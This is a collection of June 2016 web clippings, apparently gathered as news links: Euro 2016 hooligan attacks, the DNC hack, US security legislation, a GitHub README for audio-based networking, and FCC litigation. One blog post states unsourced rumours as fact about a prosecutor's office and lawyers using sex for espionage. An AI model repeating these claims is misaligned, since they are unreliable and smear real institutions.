Russian fans waved flares in the terraces - both Russia and England have been threatened with expulsion if violence continues
The hoard of Russian supporters can be seen launching an attack on England fan Andrew Bache (circled), 51, who suffered a cardiac arrest during the assault and has been put into a medically-induced coma
Russian thugs are seen punching an English fan repeatedly and kicking and stamping on their victim's face
Another moment shows three Russian thugs smash chairs off the head of one young man in a purple hoodie, before the man wearing the GoPro camera stamps on his head
Marseille prosecutor Brice Robin said the Russian ultras were 'extremely well-trained' and 'hyper-violent'.
But Vladimir Markin, a spokesman for Russia's equivalent of the FBI, claimed his French counterparts were unable to handle Russia's 'normal' football fans in Marseille because they were more used to policing 'gay pride parades'.
His comment followed an earlier outburst from a senior Russian football official and leading politician, who apparently praised his country's hooligans for defending Russia's honour.
'I don't see anything wrong with the fans fighting,' read a post on Twitter on an account in the name of Igor Lebedev.
'Quite the opposite, well done lads, keep it up!'
Both Russia and England have been threatened with expulsion from the summer finals if there is any more fighting.
Russia's second game in the competition is against Slovakia - in Lille - on Wednesday at 2pm.
England host Wales the following day in Lens - only half an hour away.
Before the summer finals, English supporters were advised, by British police, not to stay in Lens ahead of the Wales game, as the city is small and there are few hotels and bars.
They were, in fact, told to stay in Lille - which could prove to be a costly lack of foresight by the authorities.
Police in Lille say there is a 'high risk' the Russians will target the English in the city.
The FA have now urged ticketless fans to go to Lens in fear of more trouble between English and Russian hooligans in Lille.
There was a subdued mood among supporters as they arrived in Lille today and many have chosen not to wear their colours.
The streets of Marseille were littered with broken bottles and chairs following the clashes between Russian and English fans. A 16-year-old supporter was among six Britons who will face trial today over the violence
Karl Fairbrother, 25, from Derby said: 'No one wants to be seen wearing an England shirt as it could make them a target for any Russians. Mine is in the bag.'
Another England fan, who asked not be named, said all the supporters taking the Eurostar train from London to Lille only talked about the violence.
'All the chatter on the train wasn't about the match against Wales but the Russian hooligans.
'You could see that they came prepared for the violence. They were in a different league to the usual England hooligan who trains on beer and chips.
'THE ENGLISH ARE GIRLS!' RUSSIAN THUGS TAUNT ENGLAND FANS AMID FEARS VASILY THE 'KILLER' IS ORCHESTRATING THE VIOLENCE Russian thugs have branded English football fans 'girls who don't know how to fight' after violent clashes in Marseille at Euro 2016.
Dozens of hardline Russian hooligans known as Ultras '' including a gangster called Vasily '' are thought to have been behind the violence surrounding Saturday's 1-1 draw with England in Marseille. They are on the loose and it is feared they will attack English fans again in Lille.
Vasily is a member of the neo-Nazi gang Spartak Gladiator firm and has the group's emblem tattooed across his chest.
Dozens of hardline Russian hooligans known as Ultras '' including one gangster called Vasily (pictured) '' are thought to have been behind the violence in Marseille. Vasily wears a gum shield branded with nickname 'killer'
Vasily is a member of neo-Nazi gang Spartak Gladiator Firm and has the group's emblem tattooed on his chest
The 36-year-old also wears a gum shield branded with his nickname 'killer'.
He said: 'Starting from 2010, the soccer supporting culture in Russia significantly changed - we entered a phase of "forest fights" - Polish format. This is like some kind of sport, and it's very popular. So popular that only the best Polish firms can compete.'
The Ultras, many dressed in black, wearing balaclavas and brandishing truncheons, attacked fans in large groups on Saturday before police could arrive.
In February a Russian hooligan named only as Yuri was quoted glorifying Russian football violence and warning of what would happen at Euro 2016.
'We are hard men, many from the army and police,' he said, 'Not soft English men in their Lacoste clothes and girls' shoes. Fans from all clubs, Moscow, St Petersburg, anywhere, will all be on same side.
'We fight in the woods and train and fight at matches. England fans will have no chance. Russia is number one. We like beer and girls too just like you but fighting is number one.'
Keith Moore, a 52-year-old England fan from Manchester, said: 'We were being hit constantly.
'We were just standing around having some beers and a bit of food on Saturday afternoon when around 25 Russians steamed in.
There are fears Russian Ultras like Vasily are preparing for more clashes with England fans this week
Ready for battle: Russian ultras are not only the most vicious species of hooligan around, but also the best organised '-- partly because many have daytime jobs that involve wearing uniforms
'You could easily see who they were '' they had black T-shirts with Russian writing on and were all extremely muscular.
'They didn't muck about '' they picked out English blokes to attack and then ran off when the police arrived.'
After the game, the Russian gangs took to social media to mock England fans for fleeing.
There are now fears the paramilitary-style groups are preparing for more clashes with England fans on Wednesday and Thursday.
Police in Lille say there is a 'high risk' they will target the English in the city ahead of Russia's game against Slovakia.
England then play Wales the next day in Lens, just 20 miles away.
Pictures posted on social media appear to show Russian fans kicking and England supporter in the head before Saturday's match in Marseille
A Russian fan in a black shirt aims a kick at the head of an England supporter on the pavement followed by a punch. His friend then leaps up and lands another sickening kick while he is on the floor
Before the match, hundreds of English and Russian fans fought pitched battles in Marseille
'I've followed England all over the world for 20 years and this is the first time I've seen people genuinely scared about what could happen.
'No one wants to wear an England shirt for fear it will attract attention.'
Squads of police patrolled the main town square and side streets as well as fan zone where the Russia match will be screened for those without a ticket. Unlike Marseille there are only a handful of open-air bars in Lille.
Downing Street has said extra British police are being sent to France ahead of England's match against Wales on Thursday.
The additional police being deployed are specially trained in dealing with public disorder and football hooliganism.
Extra transport police is also being sent to Lens after a request from the French authorities.
Goldman Sachs Used Prostitutes To Sell Deals? | Armstrong Economics
Tue, 14 Jun 2016 19:22
Goldman Sachs is in a lawsuit for allegedly using prostitutes, fancy meals, and hotels to swindle the Libyan government in a $1.2 billion lawsuit. Now, before you condemn them, let me explain that New York City is not just the Big Apple '-- New York is the most unethical place, perhaps on Earth or at least in the top ten.
The legal shenanigans in NYC are also off the wall. Lawyers routinely hire girls to sleep with the opposing counsel to get info. Now, you might think this is limited to the private sector. NOPE! Inside sources confirmed to me that the Southern District of New York pays for ''paralegals'' whose main role is to sleep with the prosecutors. In turn, prosecutors have girls sleep with the defense counsel on legal spy missions.
Using seductive young women is standard operational procedure in many fields. Israel's fearsome Secret Service best agents are hot women rather than the James Bond type. This is the standard new breed of super-spy.
I myself have had a girl email me at a private address, so at first I assumed I must have known her but forgot. So I was polite. At first, the email came from Canada as I traced it. Then it originated in Russia. The name remained the same. Suddenly, she claimed she loved me and was coming to the States the next week. I thought it was one of those internet scams where claims of love turn into asking for money to arrange some sort of deal. So I asked if she needed money. She said no. Then I figured, perhaps she wanted an invite for a visa. She said she had papers and sent me a copy of her passport.
With one day left before she was to get on a plane, I figured it had to be some sort of espionage attempt. She was astonishingly beautiful and one could easily see her as irresistible. So I told her if she had any problem to call a high-level person in the Russian government in the Department of Interior, who I knew, with extremely high connections all the way to the top. That was the last I heard of her. Very strange. I assumed someone was now trying to seduce me to get at my code. I suppose they tried the pain routine and it was time for the pleasure cruise tactic.
I will not mention the name of the country, but I was asked to open an office there and stock it with women so a certain royal head of state could visit the office and pretend it was for economic advice. I declined, even though I would have received more than $10 billion to manage the office.
Anna Chapmanwas a Russian Spy caught in New York City. She was swapped for American spies in 2010 and made headlines in New York. She was stunningly beautiful as well as stunningly successful. Well if you are going to betray secrets, this is far better than the rubber hose treatment.
Anna showed up in Ukraine to train with the soldiers leading the rebellion. She has become known as Vladimir Putin's weapon of mass distraction.
So are the allegations against Goldman Sachs even plausible? Absolutely. Welcome to the real world under the covers espionage. This is a whole new definition to being ''undercover.''
BREAKING: Omar Mateen's wife knew of attack in advance; Criminal charges possible '' twitchy.com
Tue, 14 Jun 2016 18:56
NBC is reporting that Omar Mateen's current wife, Noor, had prior knowledge of his attack and admitted to the FBI that she even drove him to the Pulse nightclub on a scouting mission.
More from NBC News:
An excerpt:
Omar Mateen's current wife, Noor, told the FBI she was with him when he bought ammunition and a holster, several officials familiar with the case said. She told the FBI that she once drove him to the gay nightclub, Pulse, because he wanted to scope it out.
Mateen opened fire at Pulse early Sunday, leaving 49 dead and 53 injured.
Authorities are considering filing criminal charges against Noor for failing to tell them what she knew before the brutal attack, law enforcement officials say, but no decision has been made.
There has been some chatter of an accomplice and Omar's wife fits the description, especially with the NBC report that she is cooperating with the FBI:
Editor's note: This post has been updated to correct a typos. It's ''Pulse nightclub,'' not ''Pure.''
Dumb alternative media duped into worshiping of a ''Manchurian Candidate'' Putin | The New Neandertalien in English
Tue, 14 Jun 2016 18:50
In the episode 832 of the No Agenda Show, the hosts John C Dvorak and Adam Curry present their view of the hybrid war of Russia against Ukraine. A view which is typical for the alternative media. Typical and totally wrong. Starts after 2:14:45.
The Budapest Memorandum included security assurances against threats or use of force against the territorial integrity or political independence of Ukraine. As a result, between 1994 and 1996, Belarus, Kazakhstan and Ukraine gave up their nuclear weapons. Before that, Ukraine had the world's third largest nuclear weapons stockpile.
Crimean sham referendum in 2014: both available referendum choices would result in separation from Ukraine.
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S.2943 - 114th Congress (2015-2016): National Defense Authorization Act for Fiscal Year 2017 | Congress.gov | Library of Congress
Tue, 14 Jun 2016 18:34
Tracker:This bill has the status Introduced
Here are the steps for Status of Legislation:
IntroducedArray ( [actionDate] => 2016-05-18 [displayText] => Committee on Armed Services. Original measure reported to Senate by Senator McCain. With written report No. 114-255. Additional and Minority views filed. [externalActionCode] => 14000 [description] => Introduced )
Passed SenatePassed HouseTo PresidentBecame LawShown Here:Introduced in Senate (05/18/2016)National Defense Authorization Act for Fiscal Year 2017
This bill authorizes FY2017 appropriations and sets forth policies regarding the military activities of the Department of Defense (DOD), military construction, and the defense activities of the Department of Energy (DOE). The bill authorizes appropriations, but does not provide budget authority, which is considered in subsequent appropriations legislation.
The bill authorizes appropriations to DOD for:
Procurement;Research, Development, Test, and Evaluation;Operation and Maintenance;Cooperative Threat Reduction;Working Capital Funds;Chemical Agents and Munitions Destruction;Drug Interdiction and Counter-Drug Activities;the Defense Inspector General;the Defense Health Program;the Security Cooperation Enhancement Fund;the Armed Forces Retirement Home; andOverseas Contingency Operations.The bill also authorizes the FY2017 personnel strengths for active duty and reserve forces and sets forth policies regarding:
military personnel;compensation and other personnel benefits;health care;acquisition policy and management;DOD organization and management;civilian personnel matters;matters relating to foreign nations; andstrategic programs, cyber, and intelligence matters.Military Construction Authorization Act for Fiscal Year 2017
The bill authorizes appropriations and sets forth policies for Military Construction, the North Atlantic Treaty Organization (NATO) Security Investment Program, and Base Realignment and Closure Activities.
The bill authorizes appropriations and sets forth policies for DOE national security programs, including the National Nuclear Security Administration.
Military Justice Act of 2016
The bill amends the Uniform Code of Military Justice to revise the procedures and structure of the military justice system.
Democrats Claim Russian Hackers Stole Their Anti-Trump Research
Tue, 14 Jun 2016 18:13
Russian government hackers penetrated the computer network of the Democratic National Committee and gained access to the entire database of opposition research on GOP presidential candidate Donald Trump, according to committee officials. The networks of presidential candidates Hillary Clinton and Donald Trump were also targeted by Russian spies, but as The Washington Post reports, the intruders so thoroughly compromised the DNC's system they also were able to read all e-mail and chat traffic.
As The Washington Post reports, some of the hackers had access to the DNC network for about a year, but all were expelled over the past weekend in a major computer clean-up campaign, the committee officials and experts said.
The DNC said that no financial, donor or personal information appears to have been accessed or taken, suggesting that the breach was traditional espionage, not the work of criminal hackers.
''It's the job of every foreign intelligence service to collect intelligence against their adversaries,'' said Shawn Henry, president of CrowdStrike, the cyber firm called in to handle the DNC breach and a former head of the FBI's cyber division. He noted that it is extremely difficult for a civilian organization to protect itself from a skilled and determined state such as Russia.
''We're perceived as an adversary of Russia,'' he said. ''Their job when they wake up every day is to gather intelligence against the policies, practices and strategies of the U.S. government. There are a variety of ways. [Hacking] is one of the more valuable because it gives you a treasure trove of information.''
Russian President Vladimir Putin has spoken favorably about Trump who has called for better relations with Russia and expressed skepticism about NATO. But unlike Clinton, whom the Russians probably have long had in their spy sights, Trump has not been a politician for very long, so foreign agencies are playing catch-up, analysts say.
''The purpose of such intelligence gathering is to understand the target's proclivities,'' said Robert Deitz, former senior councillor to the CIA director and a former general counsel at the National Security Agency. ''Trump's foreign investments, for example, would be relevant to understanding how he would deal with countries where he has those investments'' should he be elected, Deitz said. ''They may provide tips for understanding his style of negotiating. In short, this sort of intelligence could be used by Russia, for example, to indicate where it can get away with foreign adventurism.''
Read more here...
DNC leaders were tipped to the hack in late April. Chief executive officer Amy Dacey got a call from her operations chief saying that their information technology team had noticed some unusual network activity.
''When we discovered the intrusion, we treated this like the serious incident it is and reached out to CrowdStrike immediately. Our team moved as quickly as possible to kick out the intruders and secure our network.''
The firm identified two separate hacker groups, both working for the Russian government, that had infiltrated the network, said Dmitri Alperovitch, CrowdStrike co-founder and chief technology officer. The firm had analyzed other breaches by both groups over the last two years.
One group, which CrowdStrike had dubbed Cozy Bear, had gained access last summer and was monitoring the DNC's email and chat communications, Alperovitch said.
The other, which the firm had named Fancy Bear, broke into the network in late April and targeted the opposition research files. It was this breach that set off the alarm. The hackers stole two files, Henry said. And they had access to the computers of the entire research staff '-- an average of about several dozen on any given day.
The computers contained research going back years on Trump. ''It's a huge job'' to dig into the dealings of somebody who has never run for office before, Dacey said.
CrowdStrike is not sure how the hackers got in.
Read more here...
Russia has always been a formidable foe in cyberspace, but in the last two years ''there's been a thousand-fold increase in its espionage campaign against the West,'' said Alperovitch, who is also a senior fellow at the Atlantic Council. ''They feel under siege.''
Western sanctions, imposed after Russia's annexation of Crimea in Ukraine, have hurt the economy and led the government to increase its theft of intellectual property to limit the impact of import restrictions, he said. And Russia's growing isolation has increased the need for intelligence to understand and influence political decisions in other countries, he added.
Unsurprisingly, a Russian Embassy spokesman said he had no knowledge of such intrusions. The Clinton campaign did not immediately respond to a request for comment. A spokeswoman for the Trump campaign referred questions to the Secret Service.
Turkish President Erdogan writes a letter to President Putin | Russia Beyond The Headlines
Tue, 14 Jun 2016 18:08
Country is seeking to mend fences with Russia.
Turkish president expressed his desire that relations between Moscow and Ankara would reach a ''distinguished level.'' Source: Reuters
In a letter to Russian President Vladimir Putin, Turkish President Recep Tayyip Erdogan congratulated all Russians on the national holiday Russia Day on June 12. He expressed his desire that relations between Moscow and Ankara would reach a ''distinguished level.''
''Dear Mr. President! On behalf of the Turkish people I congratulate through you all Russians on Russia Day, and express my wish that relations between Russia and Turkey would reach a distinguished level in the near future'' the text of the congratulatory letter, which was seen by RIA Novosti, said.
In turn, Turkish Prime Minister Binali Yildirim stated in a letter to Russian Prime Minister Dmitry Medvedev his hope that ''cooperation and relations between the two countries will reach a level that is necessary for the common interests of our peoples in the nearest future.''
''Through you, I wish the Russian people well-being and prosperity," Yildirim wrote.
Relations between Turkey and Russia have been in crisis since a Turkish fighter jet shot down a Russian Su-24 bomber in the skies over Syria in November 2015.
Recently, Ankara has been open about its desire to restore relations with Moscow. Erdogan said he wanted to ''overcome this problem as soon as possible,'' but did not know what the first step from Turkey was expected to be. Russia has repeatedly said that the first step entails an apology and compensation for the downed plane.
First published in Russian in RIA Novosti
CBP tests facial recognition tech at major U.S. airport
Tue, 14 Jun 2016 18:05
CBP tests facial recognition tech at major U.S. airportBy Mark RockwellJun 13, 2016A few months after completing a biometric exit trial at two big U.S. airports, Customs and Border Protection has begun another test at the busiest airport in the country to see how facial recognition tech can work with existing agency IT systems.
The trial, which began June 13 at Hartsfield-Jackson Atlanta International Airport, will test how CBP's systems can work with facial comparison technology to process images of travelers leaving the U.S. CBP said the test would be very specific, testing passengers between 14 and 79 years old, leaving the airport on a single daily flight to Japan. The trial is set to last until Sept. 30.
The test comes as Congress has hounded DHS to implement biometric exit-tracking capabilities. At a Senate hearing in January, lawmakers queried DHS officials about why a biometric system that gathers information from departing foreign nationals to check against criminal and terrorist watchlists and criminal databases wasn't in place. The 9/11 Commission recommended such a national biometric exit system back in 2004.
During the Atlanta trial, travelers will present their boarding passes while a digital photo is taken. The process is designed to take fewer than three seconds and avoid slowing down the boarding process.
In a June 13 statement announcing the Atlanta trial, DHS said it is "committed to implementing biometric exit in 2018, starting at the highest volume airports."
About the Author
Mark Rockwell is a staff writer at FCW.
Before joining FCW, Rockwell was Washington correspondent for Government Security News, where he covered all aspects of homeland security from IT to detection dogs and border security. Over the last 25 years in Washington as a reporter, editor and correspondent, he has covered an increasingly wide array of high-tech issues for publications like Communications Week, Internet Week, Fiber Optics News, tele.com magazine and Wireless Week.
Rockwell received a Jesse H. Neal Award for his work covering telecommunications issues, and is a graduate of James Madison University.
Click here for previous articles by Rockwell. Contact him at mrockwell@fcw.com or follow him on Twitter at @MRockwell4.
Committee advances bill to expand NPPD as cybersecurity agency
Tue, 14 Jun 2016 18:05
Committee advances bill to expand NPPD as cybersecurity agencyBy Aisha ChowdhryJun 13, 2016A House panel is backing the Department of Homeland Security's bid to rebrand the National Protection and Programs Directorate as the Cybersecurity and Infrastructure Protection Agency.
The Cybersecurity and Infrastructure Protection Agency Act of 2016 elevates the cyber protection operation within DHS to an agency with four separate divisions.
"The job of mapping out a new agency is a complicated one," Rep. Bennie Thompson (D-Miss.) said during the committee vote on the bill. But Thompson, the panel's ranking Democrat, said this "could help DHS chart a new course as we carry out its cyber infrastructure protection and emergency communications mission."
Under the bill, the new agency would have a cybersecurity division, infrastructure protection division, emergency communication division and the federal protective service. It would be led by an official with the title director of national cybersecurity at DHS, and would coordinate with other agencies on all matters related to cybersecurity and critical infrastructure protection policy and operations.
McCaul said his bill "realigns and streamlines" the current cybersecurity and infrastructure protection mission at NPPD to "more effectively protect the American public'...against cyber attacks that could cripple the nation."
The Cybersecurity Division would be in charge of coordinating with both federal agencies and the private sector to "reduce cybersecurity risks."
Committee passage of the bill came just a few days after NPPD chief Suzanne Spaulding told a DHS advisory committee meeting that "Congress doesn't seem to be buying" the reorganization plan.
"It is clear [NPPD] has outgrown its current organizational structure as just a headquarters component," Rep. Jim Langevin (D-RI) said. With the creation of this agency, Langevin said, the private sector would be able to get assistance from the new restructured office on major breaches.
Additionally, the Office of Biometric Identity Management, which provides technology for collecting and storing biometric data to federal, state and local law enforcement, would become its own entity within DHS. Currently, it is part of NPPD.
About the Author
Aisha Chowdhry is a staff writer covering Congress, the State Department, the Department of Veteran Affairs and the Department of Homeland Security.
Prior to joining FCW, Chowdhry covered foreign policy for CQ Roll Call. Her overseas work prior to that took her to Pakistan and Afghanistan. She has worked as a correspondent for Reuters based out of Islamabad. Chowdhry has also worked at the CBS affiliate in Washington as a multimedia journalist. She began her career as a freelance reporter for USA Today and covered stories from conflict zones. Her work has appeared in the New York Times, Foreign Policy, and Voice of America, among others.
Chowdhry received her masters in broadcast journalism from American University in Washington, D.C.
Click here for previous articles by Chowdhry, or connect with her on Twitter: @aishach
Watchdog: Too many countries not sharing visa waiver data
Tue, 14 Jun 2016 18:04
Information Sharing
Watchdog: Too many countries not sharing visa waiver dataBy Mark RockwellJun 13, 2016Even though the Department of Homeland Security and Congress have been tightening up the Visa Waiver Program that allows citizens of 38 countries to come into the U.S. without a formal visa for 90 days, many of the countries participating in the accelerated-entry program aren't supplying adequate data for the system to do its job properly.
According to a Government Accountability Office study, as of last December, about a third of Visa Waiver Program countries weren't sharing identity information about known or suspected terrorists as envisioned under a 2003 DHS policy directing agencies to generate and maintain data on known or suspected terrorists.
The report also said about a third of Visa Waiver Program countries hadn't yet shared criminal history biographic, biometric and criminal information. Some countries have said they don't yet have the equipment in place to do such exchanges.
The GAO told DHS that it needed to get tougher with participating countries and set firm deadlines to get technical capabilities set up, or work out administrative issues.
Participating countries had long been required to enter into, but not to fully implement, the agreements. DHS announced in August 2015 that it had developed a new requirements for information sharing, but again failed to set firm timelines. In December 2015, Congress passed the Visa Waiver Program Improvement and Terrorist Travel Prevention Act, which requires that countries fully implement information-sharing agreements in order to participate in the VWP.
The data from the countries participating in the program is used to vet incoming visitors against U.S. databases to screen out potential problem visitors. It's also used to help track lost and stolen passports that might be used to gain illicit entry into the U.S.
In the wake of the terrorist attacks in Paris last year, federal and state officials expressed concern about the U.S. admitting people fleeing the years-long civil war in Syria without conducting thorough background checks.
The Visa Waiver Program Improvement and Terrorist Travel Prevention Act also made travelers who have visited certain countries no longer eligible for the program beginning Jan. 21. And in April, DHS Secretary Jeh Johnson said Visa Waiver Program travelers from participating countries were required to have an e-Passport, which has an embedded electronic chip.
About the Author
Mark Rockwell is a staff writer at FCW.
Before joining FCW, Rockwell was Washington correspondent for Government Security News, where he covered all aspects of homeland security from IT to detection dogs and border security. Over the last 25 years in Washington as a reporter, editor and correspondent, he has covered an increasingly wide array of high-tech issues for publications like Communications Week, Internet Week, Fiber Optics News, tele.com magazine and Wireless Week.
Rockwell received a Jesse H. Neal Award for his work covering telecommunications issues, and is a graduate of James Madison University.
Click here for previous articles by Rockwell. Contact him at mrockwell@fcw.com or follow him on Twitter at @MRockwell4.
GitHub - quiet/quiet-lwip: lwIP driver for libquiet
Tue, 14 Jun 2016 18:03
README.mdThis is a binding for libquiet to lwip. This binding can be used to create TCP and UDP connections over an audio channel. This channel may be speaker-to-mic ("over the air") or through a wired connection.
This binding provides an abstract version which emits and consumes floating point samples which can be fed to a soundcard. Alternately, it provides a PortAudio binding which handles the audio interfacing and works on most modern operating systems.
BuildWith the dependencies installed, run mkdir build && cd build && cmake .. && make.
Quiet-lwip will build a static library and headers which can then be linked into other programs, allowing them to transmit with sockets via sound.
ExamplesIn order to demonstrate that Quiet-lwip can be used in ordinary socket contexts, it comes included with some substantial example programs. These programs demonstrate plausible use cases for quiet-lwip. Although they are fleshed out examples, there are rough edges around error handling in the example code, so take care when copy/pasting them into real products. Always vet your code!
** For convenience, I have run these examples below with client and server on the same laptop. ** If you want to confirm that there is no cheating taking place, you are welcome to inspect how these examples work. Except where noted, we'll be transmitting over the air but using the same speaker and mic, as if two people communicated to each other using the same mouth and ears.
The examples can be built using the build instructions above, followed by make examples.
DiscoveryLet's say we have a base station with a speaker and microphone, perhaps a laptop, and we want to connect to this base with a client in order to perform some transactions.
The first order of business would be to discover any nearby servers. We do this with a UDP broadcast packet with payload set to 'MARCO'. The discovery server then replies to the sender with a UDP packet with the contents 'POLO'.
quiet-lwip/build $ bin/discovery_serverand then
quiet-lwip/build $ bin/discovery_clientreceived response from POLOWith that, discovery is complete. Our client has found the server's self-assigned IP address, We'll be targetting this address in the examples that follow.
Key-Value StoreWith the server's IP address found, we turn to our first goal. Here, we'll create a TCP listener on the server on port 7173. This service will allow us associate 32-byte values to 32-byte keys. This example could be extended to practical contexts such as device pairing. It might also be useful for providing small configuration to an embedded device without traditional networking capabilities.
First, we start the server
quiet-lwip/build $ bin/kv_serverThe server has been configured to choose the same address as the discovery_server.
Now we check that it's present with our client. We'll provide it with the address we found from the discovery client.
quiet-lwip/build $ bin/kv_client PINGPONGNow let's try establishing a value.
quiet-lwip/build $ bin/kv_client ADD:abc=123ADDEDFinally, we fetch it back.
quiet-lwip/build $ bin/kv_client GET:abc123SOCKS5 ProxyFor this next example, we'll create a SOCKS5 Proxy. This could be used to tether one device without networking capabilities to another device with Internet access.
In this example, we'll continue to have a server and client as before, but now the roles will be changed somewhat. Our server will be a typical SOCKS5 Proxy listening on a TCP socket via libquiet and creating requests to remote hosts via native networking. Our client will be essentially a tunnel that listens on its native host on and forwards traffic to our proxy over libquiet. This configuration will allow us to seamlessly pass traffic from a standard tool like curl to a libquiet channel and then through our proxy.
We start by running the server and the client
quiet-lwip/build $ bin/proxy_serverand
quiet-lwip/build $ bin/proxy_client we're ready to do some surfing on the World Wide Web.
$ curl --socks5-hostname https://www.google.com > google.html % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 11020 0 11020 0 0 388 0 --:--:-- 0:00:28 --:--:-- 794Success! We're running at a blistering ~6400bps (curl reports speeds in Bytes/s, not bits/s).
So far, we've been running these examples over the air. That can be pretty convenient, but if we have an audio cable that can connect to line in/line out, we'll have a much higher-fidelity connection. With the cable plugged in, we change from using the full-duplex pair audible-7k-channel-0/audible-7k-channel-1 to the half-duplex cable-64k. Since we're merely fetching a webpage, half-duplex will work well for us.
After a recompile, and restarting the proxies, we try again.
$ curl --socks5-hostname https://github.com > github.html % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 25509 0 25509 0 0 2255 0 --:--:-- 0:00:11 --:--:-- 3852More than 4x faster. Here, the link itself is capable of sustaining speeds up to 64kbps, but we lose a substantial portion of the throughput to our half-duplex setup and the need for ACKs in our TCP connection.
At this point, with the cable connected, we can even configure our favorite browser to point at our SOCKS proxy. It is, admittedly, about as fast as dial-up, but it will work with sufficient patience.
Configurationlwip, on its own, provides substantial configuration. In particular, you'll want to confirm that the settings in include/lwip/lwip/opt.h match your desired use case. This file specifies build-time #defines for important characteristics such as memory usage, number of concurrent connections, TCP MSS, and more.
Additionally, more configuration is provided at runtime for the quiet-to-lwip interface in a struct defined in include/quiet-lwip.h/include/quiet-lwip-portaudio.h. Here you will provide the desired MAC address of the interface as well as the encoder/decoder sample rate and configuration (see also libquiet's profile system).
quiet-lwip can be configured to dump every packet it sees in hex format to stdout. This dump, run through grep "received frame", can be then fed to tools/dump2text.py and finally Wireshark's text2pcap -t "%Y-%m-%d %H:%M:%S." to produce a proper pcap file. This pcap file can be viewed by any pcap viewer such as Wireshark.
DependenciesLicense3-clause BSD.
LWIP is also provided and licensed under its own 3-clause BSD license. Be sure to include lwip's attributions as well.
All dependencies and subdependencies of quiet-lwip, with the exception of libfec, are either BSD or MIT. libfec is licensed under LGPL.
FCC's Win Portends More Litigation, Sweeping FCC Powers over Internet
Tue, 14 Jun 2016 17:46
FCC's Win Portends More Litigation, Sweeping FCC... - TechFreedomHTTP/1.1 200 OK Server: nginx Date: Tue, 14 Jun 2016 17:46:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 24207 Connection: keep-alive P3P: CP="Tumblr's privacy policy is available here: https://www.tumblr.com/policy/en/privacy" X-Tumblr-User: techfreedom X-Tumblr-Pixel-0: https://px.srvcs.tumblr.com/impixu?T=1465926408&J=eyJ0eXBlIjoidXJsIiwidXJsIjoiaHR0cDpcL1wvdGVjaGZyZWVkb20ub3JnXC9wb3N0XC8xNDU5MTI0NTAyODlcL2ZjY3Mtd2luLXBvcnRlbmRzLW1vcmUtbGl0aWdhdGlvbi1zd2VlcGluZy1mY2MiLCJyZXF0eXBlIjowLCJyb3V0ZSI6IlwvcG9zdFwvOmlkXC86c3VtbWFyeSJ9&U=LEDEALKBCB&K=d8d8cf58802ba08812a7cc518ab0d99fd7b8ee6a42562d35858ced315af621ed--https://px.srvcs.tumblr.com/impixu?T=1465926408&J=eyJ0eXBlIjoicG9zdCIsInVybCI6Imh0dHA6XC9cL3RlY2hmcmVlZG9tLm9yZ1wvcG9zdFwvMTQ1OTEyNDUwMjg5XC9mY2Nz X-Tumblr-Pixel-1: LXdpbi1wb3J0ZW5kcy1tb3JlLWxpdGlnYXRpb24tc3dlZXBpbmctZmNjIiwicmVxdHlwZSI6MCwicm91dGUiOiJcL3Bvc3RcLzppZFwvOnN1bW1hcnkiLCJwb3N0cyI6W3sicG9zdGlkIjoiMTQ1OTEyNDUwMjg5IiwiYmxvZ2lkIjoiMjk5NTMwNDkiLCJzb3VyY2UiOjMzfV19&U=ANJAAGOGDJ&K=89c0320f0f958e10d077eafd95a469b1993c74e57fad7157e96faff8829b2909 X-Tumblr-Pixel: 2 Link: ; rel=shorturl Link: ; rel=icon X-UA-Compatible: IE=Edge,chrome=1 Content-Encoding: gzip X-UA-Device: desktop Vary: X-UA-Device, Accept, Accept-Encoding Accept-Ranges: bytes
WASHINGTON D.C. '--­­ Today, after two prior losses in court, the FCC finally convinced a court to bless its claims of vast authority over the Internet.
''The FCC's victory merely begins the next stage in this decade-long melodrama,'' said Berin Sz"ka, President of TechFreedom, which joined the lawsuit as an intervenor challenging the Order. ''We and other Petitioners will ask the full D.C. Circuit to rehear the case en banc and press on to the Supreme Court if necessary. That legal process could take years. In the meantime, the FCC now has a blank check to regulate the Internet however it sees fit. Do not believe their promises of forbearance. The FCC can change its mind about those for the same reason it won today: the blind deference given to agencies by courts. The court should not have applied that deference in this case for the reasons laid out in our brief. Unfortunately, the court simply did not understand our argument.''
''Next time, we will insist upon having time at oral argument to make sure our point is clear: the FCC must not be allowed to rewrite the Telecom Act to suit its whims. The only way to end this madness is a legislative solution that gives the FCC clear but narrow authority over the core of its rules '-- but stops the FCC's other power grabs. Until that happens, it will be difficult to impossible for Congress and the FCC to do anything else around broadband '-- like opening up spectrum or allowing local and state governments to focus on facilitating the infrastructure investments that make broadband deployment easier.''
We can be reached for comment at media@techfreedom.org. See more of our work on Title II, including:
3 Reasons Why We're Challenging the FCC in Court - TechFreedom
Tue, 14 Jun 2016 17:46
WASHINGTON D.C. '-- Today, TechFreedom, CARI.net, and leading Internet entrepreneurs Jeff Pulver, Scott Banister, Charles Giancarlo, David Frankel, and Wendell Brown filed a motion seeking leave to intervene in support of US Telecom and the other petitioners asking the court to declare unlawful the Federal Communications Commission's February Open Internet Order, which reclassified broadband providers as Title II common carriers and imposed net neutrality rules considerably broader than what the FCC initially proposed.
''TechFreedom, like many startups, relies on an Open Internet to function,'' said Berin Szoka, President of TechFreedom. ''The FCC's blanket ban on paid prioritization will harm us and all other users of cloud-based services, such as Skype, Google Docs, and UStream. Paid prioritization could mitigate latency, jitter and other user experience problems associated especially with VoIP and video live-streaming. But without the ability to pay for such prioritization, these services will be under-supplied by the market, and broadband providers will under-invest in that capability.''
''The FCC is commoditizing cloud services, which removes the ability of cloud providers like CARI.net to distinguish themselves in the market,'' said Tom Struble, Legal Fellow at TechFreedom. ''The Order bars cloud providers from offering differentiated treatment of data to its customers and negotiating better connections and partnerships with broadband providers. The rules eliminate the competitive advantages that cloud providers and their 'edge' provider customers could gain from innovative arrangements with broadband providers, and jeopardize their ability to attract investment and customers.''
